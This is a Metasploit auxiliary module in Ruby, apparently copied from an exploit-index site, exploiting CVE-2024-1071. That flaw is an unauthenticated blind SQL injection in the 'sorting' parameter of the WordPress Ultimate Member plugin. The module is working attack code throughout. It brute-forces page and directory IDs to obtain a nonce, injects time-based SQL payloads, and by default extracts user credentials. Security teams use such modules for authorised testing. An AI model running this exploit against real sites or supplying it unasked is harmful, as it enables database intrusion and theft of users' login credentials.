## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-WP_ULTIMATE_MEMBER_SORTING_SQLI-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Ultimate Member SQL Injection (CVE-2024-1071)',
'Description' => %q{
The Ultimate Member plugin for WordPress up to version 2.8.2 is vulnerable to SQL injection via
the 'sorting' parameter. This allows unauthenticated attackers to exploit blind SQL injections and
extract sensitive information from the database.
},
'Author' => [
'Christiaan Swiers', # Vulnerability Discovery
'Valentin Lobstein' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-1071'],
['URL', 'https://github.com/gbrsh/CVE-2024-1071'],
['URL', 'https://www.wordfence.com/blog/2024/02/2063-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-ultimate-member-wordpress-plugin/']
],
'Actions' => [
['Extract User Credentials', { 'Description' => 'SQL Injection via sorting parameter' }]
],
'DefaultAction' => 'Extract User Credentials',
'DefaultOptions' => { 'SqliDelay' => 1, 'VERBOSE' => true },
'DisclosureDate' => '2024-02-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options [
OptInt.new('COUNT', [false, 'Number of rows to retrieve', 1]),
OptInt.new('DIR_ID_MIN', [true, 'Minimum value for bruteforcing directory IDs', 1]),
OptInt.new('DIR_ID_MAX', [true, 'Maximum value for bruteforcing directory IDs', 100]),
OptInt.new('PAGE_ID_MIN', [true, 'Minimum page ID for bruteforcing registration pages', 1]),
OptInt.new('PAGE_ID_MAX', [true, 'Maximum page ID for bruteforcing registration pages', 20])
]
end
def get_nonce
print_status('Attempting to locate the registration page and retrieve the nonce...')
uris_to_test = (datastore['PAGE_ID_MIN']..datastore['PAGE_ID_MAX']).map { |id| "?page_id=#{id}" }
uris_to_test.each do |uri|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, uri)
})
next unless res&.code == 200
page = res.get_html_document
script_tag = page.at_xpath('//script[contains(text(), "um_scripts")]')
next unless script_tag
nonce = script_tag.text[/"nonce":"([^"]+)"/, 1]
if nonce
print_good("Nonce retrieved: #{nonce} using #{uri}")
return nonce
end
end
print_error('Failed to retrieve nonce')
raise 'Failed to retrieve nonce'
end
def get_directory_id(nonce)
min_range = datastore['DIR_ID_MIN']
max_range = datastore['DIR_ID_MAX']
print_status("Searching for valid directory id between #{min_range} and #{max_range}...")
(min_range..max_range).each do |num|
id = Rex::Text.md5(num.to_s)[10..14]
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_post' => {
'action' => 'um_get_members',
'nonce' => nonce,
'directory_id' => id
}
})
next unless res
json_body = res.get_json_document
if json_body && json_body['success'] == true
print_good("Valid directory ID found: #{id} (tested with #{num})")
return id
end
end
fail_with(Failure::NotFound, "Could not find a valid directory id within the range #{min_range} to #{max_range}")
end
def run_host(_ip)
# next line included for automatic inclusion into vulnerable plugins list
# check_plugin_version_from_readme('ultimate-member', '2.8.3')
print_status("Performing SQL injection for CVE-2024-1071 via the 'sorting' parameter...")
nonce = get_nonce
directory_id = get_directory_id(nonce)
if nonce && directory_id
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
random_negative_number = -rand(99)
random_characters = Rex::Text.rand_text_alphanumeric(5)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_post' => {
'action' => 'um_get_members',
'nonce' => nonce,
'directory_id' => directory_id,
'sorting' => "user_login AND (SELECT #{random_negative_number} FROM (SELECT(#{payload}))#{random_characters})"
}
})
fail_with(Failure::Unreachable, 'Connection failed') unless res
end
fail_with(Failure::NotVulnerable, 'Target is not vulnerable or delay is too short.') unless @sqli.test_vulnerable
print_good('Target is vulnerable to SQLi!')
wordpress_sqli_initialize(@sqli)
wordpress_sqli_get_users_credentials(datastore['COUNT'])
else
fail_with(Failure::NotFound, 'Failed to retrieve nonce or directory_id')
end
end
end